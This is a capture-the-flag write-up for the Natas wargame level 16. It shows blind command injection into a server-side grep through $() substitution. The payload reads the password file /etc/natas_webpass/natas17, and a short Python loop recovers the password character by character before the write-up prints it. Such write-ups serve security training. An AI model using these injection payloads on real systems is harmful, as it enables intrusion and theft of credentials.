Wargame: Natas
Level: 16
Category: Web Exploitation
Description
A dictionary search page runs grep -i $needle dictionary.txt server-side. Most shell metacharacters are filtered. The goal is to extract the natas17 password without any direct output.
Overview
- The server filters
; | & \and backticks but allows$()shell command substitution. - We inject
$(grep -E ^PREFIX.* /etc/natas_webpass/natas17)as part of the needle. - If the password starts with PREFIX, the inner grep outputs the full password, which gets appended to a known dictionary word (e.g.,
Africans). - The outer grep then searches for that compound string; if it is absent from the dictionary, the prefix guess was correct.
Background: Blind Command Injection via Side Channel
- Command substitution
$(cmd)runscmdand inserts its output in-place into the surrounding command. - The injected password value will be concatenated with
Africans, making it a non-existent word. - When the dictionary search returns no results for
PASSWORDAFricans, we know the password starts with that prefix. - This is a boolean side channel: output present means wrong guess, output absent means correct.
Solution
Step 1: Identify Valid Injection Point
- The needle is passed directly to
grep -i $needle dictionary.txt. $()is not filtered, so$(cmd)substitution executes arbitrary commands.
Step 2: Enumerate Characters in the Password
- For each candidate character
c, send needle:$(grep -E ^c.* /etc/natas_webpass/natas17)Africans - If
cis not the first character, the inner grep returns nothing; the outer grep findsAfricansin the dictionary. - If
cis the first character, the full password is prepended; the outer grep finds no match forPASSWORDAFricans.
def check(prefix):
needle = f"$(grep -E ^{prefix}.* /etc/natas_webpass/natas17)Africans"
r = requests.post(url, auth=auth, data={"needle": needle})
return "Africans" not in r.text # True means prefix is correct
Step 3: Build the Password Prefix-by-Prefix
- Extend the known prefix one character at a time using the same side channel.
result = ""
while len(result) != 32:
for c in charset:
if check(result + c):
result += c
break
Password
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd